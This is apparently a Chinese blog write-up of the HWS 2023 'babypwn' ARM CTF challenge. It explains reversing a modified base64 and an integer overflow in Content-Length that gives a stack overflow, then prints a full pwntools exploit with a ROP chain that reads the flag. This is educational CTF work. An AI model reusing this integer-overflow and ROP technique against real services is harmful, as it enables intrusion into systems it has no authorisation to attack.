HWS 2023 babypwn

HWS 2023 babypwn

旧题重看,翻越曾经无法跨过的山。

没有远程环境,本地复现的。题目链接暂时不放了,记录一下自己的做题感想。

解题过程回顾

ARM的pwn题,32位,静态链接,符号表全抽,一眼看过去就有报文得分析......

逆吧,狠狠滴逆向。我这两天把存的这道题掏出来,逆向就逆了整整一天(实在是逆向功夫不到家)

总结了一下,对一些库函数的判断,在不借助于插件的情况下,可以通过观察参数类型和顺序以及返回值的用途,结合上下文进行调试观察,以判断函数作用,进而猜测函数的名称。

常见的加密和解密算法要熟悉,我是学pwn的,对于加密解密这一套还不是很熟,结果一个简单的魔改base64啃了半天。

题目漏洞在于Connect-length,这个是有atoi的返回值确定的后面的一个输入长度,可以通过整数溢出绕过长度上限检查,进而实现栈溢出。

本题栈溢出通过fread函数实现,这个函数必须把输入读满才行,因为它是调用了size次fgetc,为了防止溢出长度过大使得数据写入不可写的内存而导致程序崩掉,我们可以通过p.shutdown('send')来关闭send,进而引发fread的错误使函数结束。

到达栈溢出之前,程序里有很多分支检查需要绕过,这里不再赘述。

arm32位的栈溢出覆盖的是栈上保存的上个函数的LR,这一点要记住。构造ROP链的时候,pop {..., PC} 这个指令能起到类似于x86下连环pop后ret的效果,方便在栈上布置数据。这个指令也常见于程序当中——至少静态链接的题目应该如此。

SVC 0系统调用是老生常谈,r0开始控制参数,r7填系统调用号。当然,这个题用不到手动跑SVC 0

这个题目的主要函数中,最后有一个地方是调用了一个函数指针,有orw的效果,这个函数的地址我写在了下面EXP中了,如果你逆完了程序,肯定也能发现。这个题不知道为啥拿不到shell,可以用它通过orw读取flag。(其实程序本身就有open功能,但是仅允许open远程的webs目录下的文件,比赛时flag应该是在根目录下不让你打开)

(其实也可以考虑手动用系统调用跑orw?)

对了,本地调试完成后,在测试运行前,记得删掉启动参数的-g 1234,不然会看不到回显。(有人因为这个折腾了一个晚上,我不说是谁......)

什么?你说你对ARM一无所知?去看我上一个博客ARM pwn 1

EXP

之前一开始试图起shell,所以rop链的构造有些奇怪(有些重复操作)

from pwn import *
import base64

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'arm'
context.log_level = 'debug'

ELFpath = '/home/wjc/Desktop/baby_pwn/baby'
# libcpath='/home/wjc/Desktop/libc'

# p=process(ELFpath)
p = remote('127.0.0.1', 10002)

e = ELF(ELFpath)
# libc=ELF(libcpath)


def ru(s): return p.recvuntil(s)


def rut(s, t): return p.recvuntil(s, timeout=t)


def r(n): return p.recv(n)


def sal(d, b): return p.sendlineafter(d, b)
def sa(d, b): return p.sendlineafter(d, b)
def sl(s): return p.sendline(s)
def sls(s): return p.sendline(str(s))
def ss(s): return p.send(str(s))


def s(s): return p.send(s)
def uu64(data): return u64(data.ljust(8, '\x00'))
def it(): return p.interactive()
def b(): return gdb.attach(p)


def bp(bkp): return gdb.attach(p, 'b *'+str(bkp))


def bp(bkp): return gdb.attach(p, 'b *'+str(bkp))


LOGTOOL = {}


def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s" % (i[0]+":", hex(i[1])))


def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr
    return text_addr, libc_base


def debug():
    text_base, libc_base = get_base(p, 'pwn')
    script = '''
    set $text_base = {}
    set $libc_base = {} 
    b*0x10754
    '''.format(text_base, libc_base)

    # b*puts
    # b* _IO_file_xsputn
    # b mprotect
    # b *($text_base+0x0000000000000000F84)
    # b *($text_base+0x000000000000134C)
    # b *($text_base+0x0000000000000000001126)
    # dprintf *($text_base+0x04441),"%c",$ax
    # dprintf *($text_base+0x04441),"%c",$ax
    # 0x12D5
    # 0x04441
    # b *($text_base+0x0000000000001671)
    gdb.attach(p, script)


keys = [
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x0000003E, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x0000003F,
    0x00000034, 0x00000035, 0x00000036, 0x00000037, 0x00000038, 0x00000039, 0x0000003A, 0x0000003B,
    0x0000003C, 0x0000003D, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0x00000000, 0x00000001, 0x00000002, 0x00000003, 0x00000004, 0x00000005, 0x00000006,
    0x00000007, 0x00000008, 0x00000009, 0x0000000A, 0x0000000B, 0x0000000C, 0x0000000D, 0x0000000E,
    0x0000000F, 0x00000010, 0x00000011, 0x00000012, 0x00000013, 0x00000014, 0x00000015, 0x00000016,
    0x00000017, 0x00000018, 0x00000019, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0x0000001A, 0x0000001B, 0x0000001C, 0x0000001D, 0x0000001E, 0x0000001F, 0x00000020,
    0x00000021, 0x00000022, 0x00000023, 0x00000024, 0x00000025, 0x00000026, 0x00000027, 0x00000028,
    0x00000029, 0x0000002A, 0x0000002B, 0x0000002C, 0x0000002D, 0x0000002E, 0x0000002F, 0x00000030,
    0x00000031, 0x00000032, 0x00000033, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF]

def decode():
    encoded_list=[]
    key_list=[]
    decoded_list=[]
    for i in '[XXXXXXXXXXXXXXXXXXXXX]\x00':
        encoded_list.append(ord(i))

    idx=0
    
    tmp_key = 0
    for i in range(len(encoded_list)):
        if i%3 == 0:
            key_list.append(encoded_list[i] >> 2)
            tmp_key = encoded_list[i] & 3
        elif i%3 == 1:
            key_list.append( (encoded_list[i] >> 4 ) + (tmp_key << 4) )
            tmp_key = encoded_list[i] & 0xf
        elif i%3 == 2:
            key_list.append( (encoded_list[i] >> 6 ) + (tmp_key << 2) )
            tmp_key = encoded_list[i] & 0x3f
            key_list.append(tmp_key)
            tmp_key = 0
    for i in key_list:
        decoded_list.append(keys.index(i))
    return decoded_list

authorization=''
for i in decode():
    authorization+=chr(i)
print(authorization)
print(decode())

sl('post /login.cgi W1hYWFhYWFhYWFhYWFhYWFhYWFhYWF0A')

sl('Authorization: W1hYWFhYWFhYWFhYWFhYWFhYWFhYWF0A')

sl('Content-Length: -1')
sl('')

#0x0001065c : pop {fp, pc}
pop_fp_pc=0x1065c
#0x00010160 : pop {r3, pc}
pop_r3_pc=0x10160
#0x00072c64 : pop {r0, pc}
pop_r0_pc=0x00072c64
#0x000730dc : pop {r1, pc}
pop_r1_pc=0x000730dc
#0x0003296c : str r0, [r3] ; pop {r4, pc}
str_r0_addr3_pop_r4_pc=0x0003296c

#0x009C080 
str_bin_sh=0x009C080

#0x000532a8 : svc #0 ; pop {r4, r5, r6, r7, pc}
svc_0=0x532a8

#0x0006e700 : ldr r2, [r0, #0x240] ; str r2, [r3] ; pop {r4, pc}
ldr_r2_r0_add_0x240_str_r2_addr3_pop_r4_pc=0x006e700 

pop_r7_pc=0x29a8c

#0x000103ac : pop {r4, r5, pc}
pop_r4_r5_pc=0x103ac

orw=0x11018
IO_2_1_stdin=0x9c7a0

pay ='username=admin&password=admin&'
pay =pay.ljust(0xeab0,'a')
pay+=p32(pop_r3_pc)+p32(str_bin_sh)+p32(pop_r0_pc)+p32(0)+p32(str_r0_addr3_pop_r4_pc)+p32(0)
pay+=p32(pop_r0_pc)+p32(str_bin_sh-0x240)+p32(ldr_r2_r0_add_0x240_str_r2_addr3_pop_r4_pc)+p32(0)
pay+=p32(pop_r3_pc)+p32(str_bin_sh)+p32(pop_r0_pc)+'/fla'+p32(str_r0_addr3_pop_r4_pc)+p32(0)
pay+=p32(pop_r3_pc)+p32(str_bin_sh+4)+p32(pop_r0_pc)+'g\x00\x00\x00'+p32(str_r0_addr3_pop_r4_pc)+p32(0)
pay+=p32(pop_r0_pc)+p32(str_bin_sh)+p32(pop_r1_pc)+p32(IO_2_1_stdin)
#pay+=p32(pop_r7_pc)+p32(0xb)+p32(pop_r3_pc)+p32(0)+p32(svc_0)+p32(0)*4

pay+=p32(orw)
#pay+=p32(pop_r0_pc)+p32(0)+p32(pop_r7_pc)+p32(1)+p32(svc_0)

s(pay)

p.shutdown('write')
#p.shutdown()

it()

花絮

因为这个题,今晚我没能跑校园跑,也没能洗澡(悲)

今晚1113实验室,每个十秒就会爆发一句“急急急急急急急”、“典中典之...”、“绷不住了”

啊,今晚又熬大了,明天早八体育课...

✟升天✟升天✟升天✟

posted @ 2023-05-24 00:33  Jmp·Cliff  阅读(135)  评论(0编辑  收藏  举报